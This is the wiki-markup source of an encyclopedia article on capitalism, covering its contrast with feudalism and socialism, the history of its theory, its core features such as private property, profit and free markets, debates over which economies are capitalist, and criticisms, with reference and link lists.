Capitalism contrasts with (and in Western Europe, developed out of) [[feudalism]], where a [[monarch]] holds both law-making power and the ability to claim ownership over the [[real property|land]] rather than having to purchase it; the monarch loans the land to [[vassal]]s in exchange for various services, and the vassals, in turn, use [[serf]]s to work the land. 

Capitalism contrasts with [[socialism]], where the means of production are owned and run by popular collectives (such as the state) for the people. It contrasts with [[communism]] where the means of production are owned collectively rather than privately by the workers themselves, and the produce of labor is collectivized, resulting in the &quot;abolition of [[bourgeoise]] property&quot; (&quot;private property&quot;) [http://en.wikisource.org/wiki/The_Communist_Manifesto#Proletarians_and_Communists]. In addition, as suggested by [[Karl Marx]], the products of labour are directly distributed &quot;to each according to his need&quot; [http://www.marxists.org/archive/marx/works/1875/gotha/ch01.htm], and &quot;buying and selling&quot; is abolished (''Communist Manifesto'').

Capitalism as it exists in today's [[Liberal democracy|liberal democracies]] is said to be in opposition to [[planned economy|planned economies]], such as a [[command economy]], where the economy is coordinated by the state. Capitalism also contrasts with [[corporatism]], where private businesses work more closely with the government in an ostensible attempt to serve the interests of the nation. Countries undergoing periods of dynamic [[class struggle]] (as in times of [[revolution]]) would be accompanied by significant changes in material conditions such as [[industrialisation]] and display features such as the [[war economy]] and [[Commodification]].

==History of capitalism==
{{dablink|This section is on history of capitalist theory. See ''[[History of capitalism]]'' for the system's history in practice.}}
''Main article: [[History of theory of capitalism]]''

[[Image:Anders Chydenius.jpg|133px|thumb|[[Anders Chydenius]] was first to propose free trade and industry and to lay out the principles of liberalism in his 1765 book ''[[The National Gain]]'', eleven years before Adam Smith.]]
[[Image:Adam Smith.jpg|133px|thumb|[[Adam Smith]]'s more complete ''[[The Wealth of Nations]]'' earned him fame as the intellectual father of capitalism.]]

Most theories of what has come to be called capitalism developed in the 18th century, 19th century and 20th century, for instance in the context of the [[industrial revolution]] and [[New imperialism|European imperialism]] (e.g. [[Anders Chydenius|Chydenius]], [[Adam Smith|Smith]], [[David Ricardo|Ricardo]], [[Karl Marx|Marx]]), [[The Great Depression]] (e.g.[[John Maynard Keynes|Keynes]]) and the [[Cold war]] (e.g. [[Friedrich Hayek|Hayek]], [[Milton Friedman|Friedman]]). 

These theorists characterise capitalism as an economic system in which capital is owned by private individuals (sometimes referred to as &quot;capitalists&quot;) and economic decisions are determined in a market - that is, by trades that occur as a result of agreement between buyers and sellers; where a market mentality and [[Entrepreneur|entrepreneurial]] spirit exists; and where specific, legally enforceable, notions of [[property]] and [[contract]] are instituted. Such theories typically try to explain why capitalist economies are likely to generate more economic growth than those subject to a greater degree of governmental intervention (see [[economics]], [[political economy]], [[laissez-faire]]). 

In his 1765 book ''[[The National Gain]]'', [[Anders Chydenius]], a [[Finland|Finnish]] parliamentarian, became the first to propose freedom of trade and industry and the principles of [[liberalism]], 11 years before [[Adam Smith]] in ''[[The Wealth of Nations]]'' (1776).

The conception of what constitutes capitalism has changed significantly over time, as well as varying depending on the political perspective and analytical approach. [[Adam Smith]]'s advocacy of [[economic liberalism]] focused on the role of enlightened self-interest (the &quot;invisible hand&quot;) and the role of [[specialisation]] in making capital accumulation efficient. 

Some proponents of capitalism (like [[Milton Friedman]], [[Ayn Rand]] and [[Alan Greenspan]]) emphasize the role of [[free market]]s, which they claim promote [[cooperation]] between individuals, innovation, economic growth, as well as [[liberty]]. For many (like [[Immanuel Wallerstein]]), capitalism hinges on the elaboration of an economic system in which [[good (economics)|goods]] and [[service]]s are traded in [[market]]s, and capital goods belong to non-state entities, onto a global scale. 

For others (like [[Karl Marx]]), capitalism is defined by historically unprecedented social relations resulting from the creation of a [[labor market]] in which most people have to sell their [[labor-power]] in order to survive. As Marx argued (see also [[Hilaire Belloc]]), capitalism is also distinguished from other market economies with private ownership by the concentration of the means of production in the hands of individuals. 

The economists of the [[Austrian School]] expound that an economy that is not planned or guided by governmental authority will be superior in efficiency and organization due to the phenomenon of [[self organization]]. Many others use capitalism as a synonym for a [[market economy]].

==Characteristics of capitalist economies==
A set of broad characteristics are generally agreed on by both advocates and critics of capitalism. These are a [[private sector]], [[private property]], free enterprise, [[profit]], unequal distribution of [[wealth]], competition, [[self-organization]] (or ''[[catallaxy]]''), the existence of [[markets]] (including the [[labor market]]) and the pursuit of [[self-interest]].

An economy with a large amount of intervention - which may include state ownership of some of the means of production - in combination with some free market characteristics is sometimes referred to as a ''[[mixed economy]]'', rather than a capitalist one. [http://economics.about.com/od/howtheuseconomyworks/a/mixed_economy.htm] If intervention occurs to such a degree that it overwhelms private decision, such an economy is often referred to as [[statist]]. Some economists, such as [[Milton Friedman]], oppose all or almost all such state control over an economy. However, such distinctions are  disputed. By some definitions, all of the economies in the [[developed world]] are capitalist, or are mixed economies based in capitalism. Others see the world integrated into a global capitalist system, and even those nations which today resist capitalism, operate within a globalized capitalist economy.

===Private ownership of the means of production===

[[Image:Dairycattle2173.JPG|thumb|right|200px|Cattle on an Amish dairy farm]]
[[Image:Moyer Factory Post Card 1910-1915.jpg|thumb|right|200px|Private ownership of the means of production is an essential characteristic of capitalism]]
An essential characteristic of capitalism is the institution of rule of law in establishing and protecting private property, including, most notably, private ownership of the [[means of production]]. Private property was embraced in some earlier legal systems, such as in ancient Rome [http://www.libertystory.net/LSBIGSTORIESROMANPROPERTYLAW.htm], but protection of these rights was sometimes difficult, especially since Rome had no police [http://nefer-seba.net/essays/roman-police.php]. This system and some earlier systems often forced the weak to accept the leadership of a strong patron or lord and pay him for protection. It has been argued that a strong formal property and legal system made possible a) greater independence; b) clear and provable protected ownership; c) the standardization and integration of property rules and property information in the country as a whole; d) increased trust arising from a greater certainty of punishment for cheating in economic transactions; e) more formal and complex written statements of ownership that permitted the easier assumption of shared risk and ownership in companies, and the insurance of risk; f) greater availability of loans for new projects, since more things could be used as collateral for the loans; g) easier access to and more reliable information regarding such things as credit history and the worth of assets; h) an increased fungibility, standardization and transferability of statements documenting the ownership of property, which paved the way for structures such as national markets for companies and the easy transportation of property through complex networks of individuals and other entities. All of these things enhanced economic growth.

Capitalism is often contrasted to [[socialism]] in that besides embracing private property in terms of personal possessions, it supports private ownership of the means of production. Those who support capitalism often credit the lack of control over the means of production by government as crucial to maximizing economic output. [[Ludwig von Mises]], in ''Liberalism'', says that the &quot;history of private ownership of the means of production coincides with the history of the development of mankind from an animal-like condition to the highest reaches of modern civilization.&quot; [http://www.mises.org/liberal/ch2sec1.asp] In all modern economies some of the means of production are owned by the state, however an economy is not considered capitalism unless the bulk of ownership is private. 
Many governments extend the concept of private property to ideas, in the form of &quot;[[intellectual property]].&quot; It has been argued that the introduction of the [[patent]] system was a crucial factor behind the rapid development and widespread use of new technology and [[memes]] during and following the industrial revolution. [http://depts.washington.edu/~teclass/mit/khanSokoloff.pdf]. Some oppose the establishment of intellectual property as being counterproductive or coercive. Others argue that some intellectual property rights may be too rigid or constraining to innovation, and favor weaker protections.

====Private enterprise====

In capitalist economies, a predominant proportion of productive capacity has belonged to [[companies]], in the sense of for-profit organizations. This include many forms of organisations that existed in earlier economic systems, such as [[sole proprietorship]]s and [[partnerships]]. Non-profit organizations existing in capitalism include [[cooperative]]s, [[credit unions]] and [[commune (intentional community)|communes]].

More unique to capitalism is the form of organization called [[corporation]], which can be both for-profit and non-profit. This entity can act as a virtual person in many matters before the law. This gives some unique advantages to the owners, such as [[limited liability]] of the owners and perpetual lifetime beyond that of current owners.

A special form of corporation is a corporation owned by [[shareholders]] who can sell their [[shares]] in a market. One can view shares as converting company ownership into a commodity - the ownership rights are divided into units (the shares) for ease of trading in them. Such share trading first took place widely in Europe during the 17th century and continued to develop and spread thereafter. When company ownership is spread among many shareholders, the shareholders generally have votes in the exercise of authority over the company in proportion to the size of their share of ownership.

To a large degree, authority over productive capacity in capitalism has resided with the owners of companies. Within legal limits and the financial means available to them, the owners of each company can decide how it will operate. In larger companies, authority is usually delegated in a hierarchical or [[bureaucracy| bureaucratic]] system of [[management]]. 

[[Image:Rotterdam 16.03.05 fortis.jpg|200px|thumb|left|A bank in [[Rotterdam]]: Banks act as merchants of money and suppliers of capital in capitalist economies.]]

Importantly, the owners receive some of the profits or proceeds generated by the company, sometimes in the form of [[dividends]], sometimes from selling their ownership at higher price than their initial cost. They may also re-invest the profit in the company which may increase future profits and value of the company. They may also liquidate the company, selling all of the equipment, land, and other assets, and split the proceeds between them. The price at which ownership of productive capacity sells is generally the maximum of either the [[net present value]] of the expected future stream of profits or the value of the assets, net of any obligations. There is therefore a financial incentive for owners to exercise their authority in ways that increase the productive capacity of what they own. Various owners are motivated to various degrees by this incentive -- some give away a proportion of what they own, others seem very driven to increase their holdings. Nevertheless the incentive is always there, and it is credited by many as being a key aspect behind the remarkably consistent growth exhibited by capitalist economies. Meanwhile, some critics of capitalism claim that the incentive for the owners is exaggerated and that it results in the owners receiving money that rightfully belongs to the workers, while others point to the fact that the incentive only motivates owners to make a profit - something which may not necessarily result in a positive impact on society. Others note that in order to get a profit one must satisfy some need among other persons that they are willing to pay for. Also, some people in practice prefer to work for and buy products from for-profit organizations rather than to buy from or work for non-profit and communal production organizations which are legal in capitalist economies and which anyone can start or join.

When starting a [[business]], the initial owners or investors typically provide some money (the [[Capital (economics)|capital]]) which is used by the business to buy or [[lease]] some means of production. For example, the enterprise may buy or [[lease]] a piece of land and a building; it may buy machinery and hire workers ([[Labour (economics)|labor-power]]), or the capitalist may provide the labor himself. The commodities produced by the workers become the property of the capitalist (&quot;capitalist&quot; in this context refers to a person who has capital, rather than a person who favors capitalism), and are sold by the workers on behalf of the capitalist or by the capitalist himself. The money from sales also becomes the property of the capitalist. The capitalist pays the workers a portion of this profit for their labor, pays other overhead costs, and keeps the rest. This profit may be used in a variety of ways, it may be consumed, or it may be used in pursuit of more profit such as by investing it in the development of new products or technological innovations, or expanding the business into new geographic territories. If more money is needed than the initial owners are willing or able to provide, the business may need to borrow a limited amount of extra money with a promise to pay it back with interest. In effect, it may rent more capital.

====Self interest====
[[Image:Ayn_Rand1.jpg|150px|thumb|right|[[Ayn Rand]] was an outspoken advocate of the role of [[self-interest]] in capitalism]]

The pursuit of self-interest is commonly regarded as playing an essential role in capitalism. Many writers, such as [[Adam Smith]] and [[Ayn Rand]], point to what they believe to be the benefit of individuals trading for their [[self-interest]] rather than [[altruism|altruistically]] attempting to serve the &quot;common good.&quot; Smith, widely considered to be the intellectual father of capitalism, says in ''[[Wealth of Nations]]'':

:&quot;By pursuing his own interest, [an individual] frequently promotes that of the society more effectually than when he really intends to promote it. I have never known much good done by those who affected to trade for the [common] good.&quot;

Ayn Rand, probably the most outspoken advocate of the role of self-interest in capitalism, says in ''Capitalism: The Unknown Ideal'':

:&quot;America's abundance was created not by public sacrifices to the common good, but by the productive genius of free men who pursued their own personal interests and the making of their own private fortunes.&quot;

Rand, though largely respectful of Smith's economic theories, didn't technically agree with his interpretation of the role of self-interest. She believed that self-interest was [[Objectivist philosophy|philosophically]] justified and did not accept Smith's idea of, as she would describe it 'people blindly pulled towards serving the common good.'

Nobel-economist [[Milton Friedman]] also embraces the role of self-interest in capitalism. In his famous article ''The Social Responsibility of Business is to Increase Profits'', as he asserts that business has no [[social responsibility]] other than to increase profits and refrain from engaging in &quot;deception or fraud.&quot; He maintains that when business seeks to maximize profits, while respecting the guidelines of a [[free market]] by not defrauding or deceiving, it almost always incidentally does what is good for society. Friedman does not argue that business should not help the community but that it may indeed be in the long-run self-interest of a business to &quot;devote resources to providing amenities to [the] community...&quot; in order to &quot;generate goodwill&quot; and thereby increase profits. Some, including some supporters of capitalism, dislike the focus on self-interest. For example, self-described &quot;free market libertarian&quot; founder and CEO of [[Whole Foods Market]], [[John Mackey (businessman)|John Mackey]], claims in an article in ''Reason'' magazine that he is serving customers and society out of &quot;love&quot; rather than self-interest while he boasts the profitability of his company in that article. (''[http://www.reason.com/0510/fe.mf.rethinking.shtml Rethinking the Social Responsibility of Business]'', [[Reason magazine]] October 2005).

[[Image:Profit&amp;Loss.jpeg|200px|thumb|The pursuit of [[profit]] is one characteristic of capitalism]]

The pursuit and realization of [[profit]] as a method of self-interest is therefore an essential characteristic of capitalism. Profit is derived by selling a product for more than the cost required to produce or acquire it. Some consider the pursuit of profit to be the essence of capitalism. Sociologist and economist, Max Weber, says that &quot;capitalism is identical with the pursuit of profit, and forever renewed profit, by means of conscious, rational, capitalistic enterprise.&quot; However, it is not a unique characteristic for capitalism, some hunter-gatherers practiced profitable barter and monetary profit has been known since antiquity. In capitalism, profit is necessary for economic growth, with the growth being a function of the amount of profit reinvested rather than consumed.

===Free market===
The notion of a &quot;[[free market]]&quot; where all economic decisions regarding transfers of money, goods, and services take place on a voluntary basis, free of coercive influence, is commonly considered to be an essential characteristic of capitalism. Some contend that in systems where individuals are prevented from owning the means of production (including the profits), or coerced to share them, not ''all'' economic decisions are free of coercive influence, and, hence, are not free markets. In an ideal free market system none of these economic decisions involve coercion. Instead, they are determined in a decentralized manner by individuals trading, bargaining, cooperating, and competing with each other. In a free market, government may act in a defensive mode to forbid coercion among market participants but does not engage in proactive interventionist coercion; this state of affairs is also called ''[[laissez-faire]]''. Nevertheless, some authorities claim that capitalism is perfectly compatible with interventionist  [[authoritarian]] governments, and/or that a free market can exist without capitalism (see [[market socialism]]).

A legal system that grants and protects property rights provides property owners the entitlement to sell their property in accordance to their own valuation of that property; if there are no willing buyers at their offered price they have the freedom to retain it. According to standard capitalist theory, as explained by Adam Smith in ''Wealth of Nations'', when individuals make a trade they value what they are purchasing more than they value what they are giving in exchange for a commodity. If this were not the case, then they would not make the trade but retain ownership of the more valuable commodity. This notion underlies the concept of mutually-beneficial trade where it is held that both sides tend to benefit by an exchange.

[[Image:CME.JPG|200px|thumb|left|The [[Chicago Mercantile Exchange]]. A free market consists of voluntary trade without interventionist regulation. Prices, for example, are determined by trade rather than by government.]]
In regard to pricing of goods and services in a free market, rather than this being ordained by government it is determined by trades that occur as a result of price agreement between buyers and sellers. The prices buyers are willing to pay for a commodity and the prices at which sellers are willing to part with that commodity are directly influenced by [[supply and demand]] (as well as the quantity to be traded). In abstract terms, the price is thus defined as the equilibrium point of the demand and the supply curves, which represent the prices at which buyers would buy (and sellers sell) certain quantities of the good in question. A price above the equilibrium point will lead to oversupply (the buyers wish to buy fewer goods at that price than the sellers are willing to produce), while a price below the equilibrium point will lead to the opposite situation. When the price a buyer is willing to pay coincides with the price a seller is willing to offer, a trade occurs and price is determined.

[[Financial markets]], though some of these markets are far from being free due to heavy regulation, allow the large scale, standardized, and easy trading of [[debt]], [[foreign exchange]], and ownership of companies (see [[finance capitalism]]). Similar changes have taken place for products from [[agriculture]], [[mining]], and [[energy]] production. Standardized markets have even appeared for [[pollution]] rights and for the prediction of future events like future [[weather]] and political elections.

Markets have, of course, existed throughout human history. Hunter-gatherers used to exchange their goods in [[barter]]. The appearance of money in [[Ancient history|antiquity]] facilitated exchanges, permitting the flowering of trade fairs in the [[Middle Ages]]. Nevertheless, many regulations existed, and the influence of the [[guild]]s prevented truly free markets. In modern economies, governments likewise do not allow unfettered market operation in many areas, but the price restrictions are much smaller than those imposed by guilds.

====Economic growth and mobility====
One of the primary objectives in a social system in which commerce and property have a central role is to promote the growth of capital. The standard measures of growth are Gross Domestic Product or [[Gross Domestic Product|GDP]], [[capacity utilization]], and 'standard of living'. 

The ability of capitalist economies to sustainably increase and improve their stock of capital was central to the argument which [[Adam Smith]] advanced for a free market setting production, price and resource allocation. It has been argued that GDP per capita was essentially flat until the industrial revolution and the emergence of the capitalist economy, and that it has since increased rapidly in capitalist countries [http://www.minneapolisfed.org/pubs/region/04-05/essay.cfm][http://www.j-bradford-delong.net/TCEH/1998_Draft/World_GDP/Estimating_World_GDP.html]. It has also been argued that a higher GDP per capita promotes a higher standard of living, including the adequate or improved availability of food, housing, clothing, health care, reduced working hours and freedom from work for children and the elderly. These are reduced or unavailable if the GDP per capita is too low, so that most people are living a marginal existence.

Economic growth is, however, not universally viewed as an unequivocal good. The downside of such growth is referred to by economists as the 'externalization of costs' (see [[externality]]). Among other things, these effects include pollution, the disruption of traditional living patterns and cultures, the spread of pathogens, wars over resources or market access, and the creation of underclasses.

In defense of capitalism, liberal philosopher [[Isaiah Berlin]] has claimed that all of these ills are neither unique to capitalism, nor are they its inevitable consequences. See also [[Criticism of capitalism#Sustainability|Sustainability]].

One of the key markers of entrepreneurial economies and 'growth' in a society is its economic mobility, defined as the existence of large changes in the make-up of its socio-economic strata. This is manifested as the occurrence of large fluctuations in the various [[decile]]s or [[quintiles]] of income and wealth among the population, and the existence of large changes over a person's lifetime in relation to their real earning power. In standard economics, a capitalist system provides more opportunities for an individual to rise faster in the world by entering new professions or establishing a business venture. The instability of economic strata is contrasted with traditional [[feudal]] or [[tribal]] societies, which are considered to have more stable wealth relationships, and with the [[egalitarianism]] that exists in socialist societies, which distribute more of their wealth in the form of social benefits and therefore reduce income mobility, particularly among those who own capital and wish to trade it.

However, the existence of large fluctuations in income deciles does not always represent income mobility - with individuals receiving regular wage increases over their working lives and then retiring, such fluctuations alone do not show that there is 'mobility' ''per se''. Moreover, it is argued by many labor economists that wage instability represents the transfer of risk to workers and particular sectors of the economy such as agriculture, and away from the holders of capital.

====Self-organization====

[[Image:f_hayek.jpg|150px|thumb|right|[[Friedrich Hayek]] advocated allowing an economy to [[self-organization|self-organize]], maintaining that government cannot access or coordinate the widespread distribution of information possessed by millions of individuals.]] 
While a great deal of planning is undertaken among individual companies and other organisations in capitalist economies, few significant mechanisms for imposing overall direction are available to governments. There is also a scarcity of reliable predictive tools and foreknowledge of how an economy is likely to behave or perform more than a year or two into the future. While most transactions may be planned and agreed by the actors involved, many society-wide phenomena that emerge from the markets and its transactions are often not planned, predicted, approved or authorised by anyone. Nevertheless, such an economic system can organize itself into a complex system without an external guidance or planning mechanism. This phenomenon is called &quot;[[self-organization]].&quot; [[Friedrich Hayek]] coined the term &quot;[[catallaxy]]&quot; as a market where &quot;spontaneous order&quot; emerges when no centralized control source (government) overrides decisions of individuals pursuing their own ends. However, in all large-scale modern economies the State conducts a degree of [[planned economy|centralized economic planning]] (using such tools as allowing the country's [[central bank]] to set base [[interest rates]]), ostensibly as an attempt to improve efficiency, attenuate cyclical volatility, and further particular social goals. 

Some economists use [[chaos theory]] to argue that it is impossible to make accurate long-term economic predictions. They view the decentralized nature of economic planning and development that occurs in capitalism as one of its greatest strengths, arguing that it permits many solutions to be tried, and that real-world competition generally finds a good solution to emerging challenges. This is opposed to the [[central planning]] approach to the running of a society, which often selects inappropriate solutions as a result of faulty forecasting. One possible example is the experience in Somalia where the previously regulated telecommunications industry is reported to be &quot;thriving&quot; now that, and reportedly because, the country lacks a government. [http://news.bbc.co.uk/2/hi/africa/4020259.stm]

Capitalist economies typically contain numerous companies, and people are free to enter into many different types of arrangement with each other. Such an economy reacts to technological change, new discoveries and other developments through continual readjustments in the relationships which exist among companies and individuals. In this way the economy's control mechanisms and how information flows through it evolve over time, and are characterised by  a kind of &quot;survival of the fittest&quot; selection and evolution process which is not dissimilar to that exhibited in natural systems and their component relationships. 

Ancient [[Rome]] and China under the [[Song dynasty]] are examples of societies that had some of the characteristics of capitalism, like no feudal [[fiefs]], (weak) property rights, economic growth, and for their times advanced technology. It is much debated why these societies did not have their own &quot;industrial revolution&quot; and thus achieve industrial capitalism in the modern sense. It has been suggested that these states formed monopolies in their parts of the world with very limited competition from other states. The ruling class then become complacent and the successful institutions were overturned in order to enrich certain special interest groups. Much innovation has historically taken place when there where many competing states, like in the city states of ancient [[Greece]] and [[renaissance]] [[Italy]]. 

Analysis of the networks of connections and arrangements in the economy has shown a degree of similarity to other networks such as phone systems or the Internet. [http://www.theyrule.net/] contains examples of networks of company board members. Networks of customer links and monetary flows exhibit similar characteristics.

==Which economies are &quot;capitalist&quot;?==

The eminent sociologist [[Max Weber]] described capitalism as being present  &quot;wherever the industrial provision for the needs of a human group is carried out by the [[free enterprise|method of enterprise]]&quot;. In his introduction to the 1920 edition of The Protestant Work Ethic and the Spirit of Capitalism he offered a broader definiton which included Marx's '[[antediluvian]] forms of mercantile and [[usury]] capital  as well as any profit-making by opportunity (for example [[speculation]]) - not just by direct economic activity (Sayer 1996).

Some believe that it is inaccurate to call any or some of the major industrialized economies &quot;capitalist&quot; because of the level of government intervention. For example, some assert that the market in the United States of America is significantly less than &amp;quot;free&quot;, and that therefore it is more appropriately termed a ''[[mixed economy]]'' that is merely skewed more toward capitalism than most national economies, rather than being a true representation of capitalism. Still others might say that the U.S. economy is capitalist, but the U.K. economy is a &quot;mixed economy,&quot; or the Hong Kong economy is capitalist and the U.S. economy is mixed and so on, depending upon their perception of how much economic freedom exists in those locales. According to economic and business historian [[Robert Hessen]] of [[Stanford Graduate School of Business]]:

:&quot;a fully free economy (true [[laissez-faire]]) never has existed, but governmental authority over economic activity has sharply increased since the eighteenth century, and especially since the Great Depression...Today the United States, once the citadel of capitalism, is a &quot;mixed economy&quot; in which government bestows favors and imposes restrictions with no clear or consistent principle in mind.&quot; [http://www.econlib.org/library/Enc/Capitalism.html]

A similar classification, associated largely with the [[Austrian school]] of economics, regards most present economic systems as a perversion of capitalism, sometimes called [[crony capitalism]], and envisages a de-cronied capitalist ideal. Similarly, some use the phrase &quot;[[laissez-faire capitalism]]&quot; to distinguish between &quot;ordinary capitalism,&quot; believing that there is a difference. Others find the phrase &quot;laissez-faire capitalism&quot; redundant, pointing out that the common definition of capitalism explicitly refers to trade occurring in a &quot;free market&quot;.

Many [[Marxist]]s, [[anarchists]], [[Greens]] and [[Anti-globalization|anti-globalist]]s agree that the governments in capitalist societies, that is to say societies where a capitalist class is the ruling class, are not serving in the role of protecting &quot;the free market&quot;, but would go on to say that these governments are, in fact, acting to protect the owners of capital and corporations as their first priority. [[Noam Chomsky]] says that &quot;''There's nothing remotely like capitalism in existence. To the extent there ever was, it had disappeared by the 1920s or '30s''.&quot; (interview with Detroit Metro Times). Libertarians and other free-market advocates may also share this opinion regarding some or all of the major economies. However, in the 18th century in America, production and distribution of goods were regulated by government ministries. Also, government subsidies were granted to agriculture. Economic intervention continued throughout the 19th century.

[[Image:Index2006 EconFreedomMAP.jpg|thumb|300px|right|A map of the [[Heritage Foundation]]'s [[Index of Economic Freedom]]s. Various reserachers have argued that nations with a higher economic freedom have a higher GDP/capita and less poverty.]]

Proponents of the world-system perspective suggest that the whole globe has been incorporated into a single capitalist world-economy. Even though a state (such as Cuba) may be socialist, it works in relation to a much larger, overarching capitalist world-economy.

Mainstream economists, for their part, admit that the present economic systems have diverged from earlier forms labeled &quot;capitalism&quot;, but many believe that some of the modern economies are still best described as being &quot;capitalism&quot;.

==== Index of Economic Freedom ====

There are two [[Index of Economic Freedom|Indices of Economic Freedom]] used in economic research. The publishers are [[right-wing]], business-orientated and funded [[think tank]]s. One index is released by the [[Heritage Foundation]] and [[Wall Street Journal]], the other by the [[Fraser Institute]]. Both attempt to measure of the degree of economic freedom in countries, mostly in regard to rule of law, lack of governmental intervention, private property rights, and free trade. The Index of Economic Freedom defines &quot;economic freedom&quot; [http://www.heritage.org/research/features/index/faq.cfm] as &quot;the absence of government coercion or constraint on the production, distribution, or consumption of goods and services beyond the extent necessary for citizens to protect and maintain liberty itself.&quot; (This is otherwise known as [[laissez-faire]]).

==Capitalism in decline or on the rise?==
Citing the ideal of a [[free market]], many consider an economy with lower taxes, smaller government and fewer regulations to be more capitalistic. If government spending is used as a gauge of government expansion, the last century saw a very large increase in the role of government in Western countries. Combined U.S. government spending increased from 3-4% of GDP to 33% flattening somewhat since 1983 when the sharp upward trend was broken during President Ronald Reagan's term. An average for 16 industrial nations jumped from 8% of GDP to 45%. ''Non-defense'' spending in the U.S. as a percentage of net income increase from 11.5% in 1945 to 30% in 1983, remaining stable through 2003 (some exclude defense spending when gauging government expansion). Compliance with more regulations is increasingly costly [http://mwhodges.home.att.net/intl-spend.htm][http://mwhodges.home.att.net/regulation.htm]. Thus, it can be argued that the degree of capitalism has seen a remarkable ''decline'' in Western nations. However, since 1983 the percentage of non-defense government spending in the U.S. has stabilized, leading some such as Milton Friedman to express some hope that the tide may reverse toward more capitalism [http://www.hooverdigest.org/051/friedman.html]. Alan Greenspan, in a speech in 2005, expressed his belief that &quot;free-market capitalism&quot; is being rediscovered through deregulation after a period of stifling regulation brought about by [[Keynesian economics]]. [http://business.timesonline.co.uk/article/0,,16849-1823177,00.html]

One explanation for this is that the Western nations have increasingly averted or regulated various market failures such as pollution, health care, unemployment, wealth inequality, and education. Supporters of less state interference, such as [[libertarians]],  [[neoliberals]], and financial [[conservatives]], would instead argue that the regulations restrict competition, that the taxes go to the special interest groups with the most political clout, that governments do things less efficiently than the private sector, and that market failures are actually caused by government regulations, such as the minimum wage, and public schools.

==Criticisms of capitalism==
''Main article: [[Criticisms of capitalism]], [[Anti-capitalism]]''

Capitalism has met with strong opposition throughout history, mainly from the [[left wing politics|left]] but also from the [[right wing politics|right]]. These have included [[socialism|socialists]] and [[anarchism|anarchists]], such as [[Karl Marx]], [[Pierre-Joseph Proudhon]], [[Mikhail Bakunin]], [[Benjamin Tucker]], [[Lenin]], [[Peter Kropotkin]] and [[Mao Ze Dong]]. More recently, various aspects of capitalism have come under attack from the [[anti-globalisation]] movement, and activists such as [[Naomi Klein]] and [[Angela Davis]].

==Notes==
#{{note|Wikiquote}} Definitions of capitalism on [http://en.wikiquote.org/wiki/Capitalism Capitalism]. Wikiquote, (2006)
#{{note|oecd}} The West and the Rest in the International Economic Order by [[Angus Maddison]], [http://www.oecdobserver.org/news/fullstory.php/aid/884/The_West_and_the_Rest_in_the_International_Economic_Order.html?PHPSESSID=530d711f4ca31817d1c2b39ba97420f8%2520]
#{{note|Case}} Case, Karl E., Fair, Ray C., Principles of Macroeconomics, Chapter 22 Globalization, Prentice Hall (2004)

==See also==
* [[Capitalism and related political ideologies]]''
* Related topics: [[History of Economic Thought]], [[Emergence of early capitalism]], [[Capitalism.org]], [[Distributed resource allocation]], [[Spirit of capitalism]], [[Capitalism Day]]
* Related words: [[capitalist]], [[crony capitalism]], [[capitalist mode of production]], [[state monopoly capitalism]], [[late capitalism]], [[merchant capitalism]], [[Collective capitalism]], [[The Black Book of Capitalism]]
* Related ideologies: [[anti-capitalism]], [[classical liberalism]] ([[libertarianism]], [[culture of capitalism]], [[minarchism]], [[anarcho-capitalism]]), [[conservatism]] ([[political conservatism]]), [[mercantilism]], [[protectionism]], [[social democracy]] ([[welfare state]], [[liberalism]], [[political liberalism]], [[liberal democracy]]), [[statism]], [[fascism]], [[state capitalism]], [[socialism]], [[Localism (Politics)|localism]], [[communism]], [[libertarian socialism]], [[Democratic Socialism|democratic socialism]], [[Democratic Capitalism|democratic capitalism]], [[Marxism]], [[Objectivist philosophy|Objectivism]]
* disambiguation: [[Capitalism (game)]]

==External links==
{{wikiquote}}

* [http://www.greekshares.com/capitalism.asp Capitalism Basics]
* [http://economics.about.com/od/howtheuseconomyworks/a/mixed_economy.htm &quot;A Mixed Economy: The Role of the Market&quot; from U.S. Department of State] Article from the [[U.S. Department of State]] says the U.S. is a [[mixed economy]]
* [http://www.polyarchy.org/essays/english/capitalism.html &quot;Capitalism/Anticapitalism&quot;] On the origin and features of capitalism
* [http://www.blackmask.com/books18c/prspircap.htm Protestantism and the Rise of Capitalism, by Max Weber]

===Pro-capitalist===
* [http://www.adamsmith.org/ Adam Smith Institute] The Adam Smith Institute is the UK's leading innovator of free-market policies.
* [http://www.coin.dk/ Copenhagen Institute] The Copenhagen Institute
* [http://www.celebratecapitalism.org/bernsteindeclaration/ The Bernstein Declaration] &quot;On the Principles and Possibilities of Capitalism&quot; (from the “Celebrate Capitalism” organization)
* [http://capitalism.net/ Capitalism.net: A treatise on economics, by George Reisman ]
* [http://austrianforum.com/ The Austrian Forum] - Discussion of Austrian and other economic schools 
* [http://globalpolitician.com/articles.asp?ID=324 In Defense of the Free Market]
* [http://www.mises.org/ The Mises Institute, adherents of the Austrian school]
* [http://www.freetheworld.com/ The Fraser Institute Index of Economic Freedom]
* [http://www.heritage.org/research/features/index/ The Heritage Foundation Index of Economic Freedom]
* [http://business.timesonline.co.uk/article/0,,16849-1823177,00.html Alan Greenspan Speech] [[Alan Greenspan]] defends &quot;free market capitalism&quot; in speech to the [[NIAF]] (2005)
* [http://www.econlib.org/library/Enc/Capitalism.html ''Capitalism''] by Robert Hessen - says &quot;capitalism&quot; is a misnomer for &quot;economic individualism&quot;
* [http://www.hoover.org/publications/books/fulltext/edcap/103.pdf ''Nine Myths About Capitalism''] from ''Education and Capitalism'' by Herbert J. Walberg and Joseph L. Bast

===Anti-capitalist===
* [http://www.rationalrevolution.net/articles/capitalism_economy.htm Understanding Capitalism Part I: Capital and Society]
* [http://www.personal.psu.edu/users/w/x/wxk116/antic/ ''Anti-Capitalism: Modern Theory and Historical Origins'']
* [http://libcom.org/library/anti-capitalist-aufheben-10 Anti-Capitalism as an ideology... and as a movement]
* [http://www.anti-capitalism.com/anti-capitalism Rejection of the label ''Anti-Capitalism'']
* [http://libcom.org/library/value-price-and-profit-karl-marx Value, Price and Profit] - Karl Marx on the basic features of capitalism.
* [http://www.sozialoekonomie.info/Info_Foreign_Languages/info_foreign_languages.htm Social economy: A Market Economy without Capitalism]
* [http://easyweb.easynet.co.uk/~rcgfrfi/ww/castro/1992-csw.htm ''Capitalism is a Society of Wolves'' by Fidel Castro]
* [http://www.phys.uu.nl/~droop/sheepfoot/what-is-capitalism.mp3 What is Capitalism?] an MP3 of a speech giving a Marxist perspective on the structure of capitalism

==Further reading==
* [[Ravi Batra|Batra, Ravi]]. &quot;The Downfall of Capitalism and Communism.&quot; London, MacMillan Press, 1978.
* [[Fernand Braudel|Braudel, Fernand]]. ''Civilization and Capitalism : 15th - 18th Century'' 3 vols.
